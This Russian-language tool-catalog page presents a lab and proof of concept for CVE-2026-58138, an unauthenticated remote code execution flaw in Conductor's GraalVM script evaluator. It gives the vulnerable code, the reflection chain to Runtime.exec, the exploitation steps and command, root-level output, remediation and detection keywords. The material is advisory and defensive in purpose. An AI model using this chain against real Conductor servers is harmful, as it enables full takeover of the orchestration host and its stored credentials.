Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
Инструменты/GitHubGitHub/biitts/cve-2026-58138-conductor-unauth-rce
Анализ уязвимостейАнализ КодаЭксплуатацияЭксплуатация веб-приложенийТестирование на ПроникновениеКомандование и УправлениеОбучение и ОбразованиеРазработка Полезной НагрузкиЛаборатории и Практика
GitHubbiitts/cve-2026-58138-conductor-unauth-rce

CVE-2026-58138-Conductor-Unauth-RCE

CVE-2026-58138 — Conductor (3.21.21..<3.30.2) неаутентифицированное RCE через INLINE-оценщик GraalVM (HostAccess.ALL). Лаб + PoC, проверено e2e (root).

Репозиторий
32 месяцев назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

CVE-2026-58138 — Неаутентифицированное RCE в Conductor через INLINE-оценщик GraalVM

Conductor (OSS / Orkes) 3.21.21 … до 3.30.2 оценивает предоставленный пользователем JavaScript в задачах INLINE (и LAMBDA / DO_WHILE / SWITCH) с контекстом GraalVM, построенным с полным доступом к хосту (HostAccess.ALL). Скрипт может обратиться к java.lang.Runtime и выполнять команды ОС. Community API по умолчанию не требует аутентификации, поэтому отправка рабочего процесса с такой задачей является неаутентифицированным удаленным выполнением кода.

CVECVE-2026-58138
Уведомлениеvulncheck — Orkes Conductor unauth RCE via GraalVM script evaluators
Затронутые версииConductor 3.21.21 … до 3.30.2
Исправлено в3.30.2 (коммиты 87a7d96, c691e35)
КлассCWE-94 (Внедрение кода) — песочница GraalVM polyglot не применена
CVSS9.8 — AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
АутентификацияОтсутствует (API сообщества по умолчанию не требует аутентификации)
СтатусПОДТВЕРЖДЕНО — воспроизведено от root на conductoross/conductor:3.22.3

Примечание по версиям (прочитайте). Конфигурация оценщика меняется в пределах затронутого диапазона: версии до ~3.29.x (в этой лабораторной работе используется 3.22.3) создают контекст с простым allowHostAccess(HostAccess.ALL) — конфигурация без песочницы, описанная в CVE и непосредственно используемая в данном PoC. Линия 3.30.0/3.30.1 добавила частичный черный список denyAccess(...) (отражение заблокировано); полное исправление (allowHostClassLoading(false) + усиление движка) появляется только в 3.30.2. Этот PoC нацелен на конфигурацию plain-HostAccess.ALL и не претендует на обход блокировки версии 3.30.1.


Коренная причина

core/.../events/ScriptEvaluator.java (≤ 3.29.x / 3.22.3):

root@kitploit:~
return Context.newBuilder("js")
        .allowHostAccess(HostAccess.ALL)   // full host interop -> no sandbox
        .build();

HostAccess.ALL позволяет скрипту вызывать любые методы/поля объектов Java хоста. Задача INLINE связывает свой вход с $ — реальным Java-объектом, так что скрипт может развернуться: $.getClass().getClass() → java.lang.Class → Class.forName("java.lang.Runtime") → Runtime.getRuntime().exec(...). Оценщик Python эквивалентен (Context.newBuilder("python").allowAllAccess(true)).

Эксплуатация

  1. Зарегистрируйте рабочий процесс, задача INLINE которого содержит вредоносное expression (POST /api/metadata/workflow, без аутентификации).
  2. Запустите его (POST /api/workflow/{name}, без аутентификации).
  3. Задача INLINE выполняет JS; рефлексивный Runtime.exec запускает команду, и PoC возвращает ее stdout как результат задачи.

Воспроизведение

root@kitploit:~
docker compose -f lab/docker-compose.yml up -d        # conductoross/conductor:3.22.3 (in range)
# wait ~60s for the all-in-one server to boot

python3 exploit.py http://127.0.0.1:8080 -c "id; hostname"

Наблюдается:

root@kitploit:~
[*] registering workflow with a malicious INLINE (javascript) task ... (no auth)
[*] started workflow id=...; reading INLINE task output ...
[+] UNAUTHENTICATED RCE CONFIRMED - command output from the Conductor host:
uid=0(root) gid=0(root) groups=0(root)
vbox
Linux 6.18.12+kali-amd64

uid=0(root) — это пользователь процесса Conductor; вывод — это состояние id/uname в реальном времени — подлинное выполнение, а не эхо. exploit.py использует только стандартную библиотеку Python.

Влияние

Любой, кто может получить доступ к API Conductor, выполняет произвольные команды ОС (здесь от root) на хосте-оркестраторе — полная компрометация движка рабочих процессов, его постоянного хранилища/очередей и всех систем, к которым его рабочие процессы и сохраненные учетные данные имеют доступ.

Устранение

  • Обновитесь до Conductor ≥ 3.30.2 (оценщики JS/Python больше не запускаются с включенным доступом к хосту / загрузкой классов).
  • Защита в глубину: установите аутентификацию перед API Conductor, запускайте сервер от имени пользователя с минимальными привилегиями (не root) и ограничьте, кто может регистрировать/запускать рабочие процессы.

Обнаружение

Отмечайте определения рабочих процессов, задачи которых INLINE/LAMBDA/DO_WHILE/SWITCH содержат строки expression, ссылающиеся на getClass, forName, Runtime, exec, ProcessBuilder или отражение java., а также процессы Conductor, порождающие оболочки.

Смотрите ANALYSIS.md для цепочки отражений, конфигурации оценщика по версиям и исправления.


  • Автор: Caio Fabrício — github.com/BiiTts
  • Заслуга за уязвимость принадлежит первоначальному репортеру / уведомлению вендора; этот репозиторий является независимой воспроизводимой лабораторной работой + PoC для защитных и образовательных целей. Только для авторизованного тестирования безопасности.
Скачать инструмент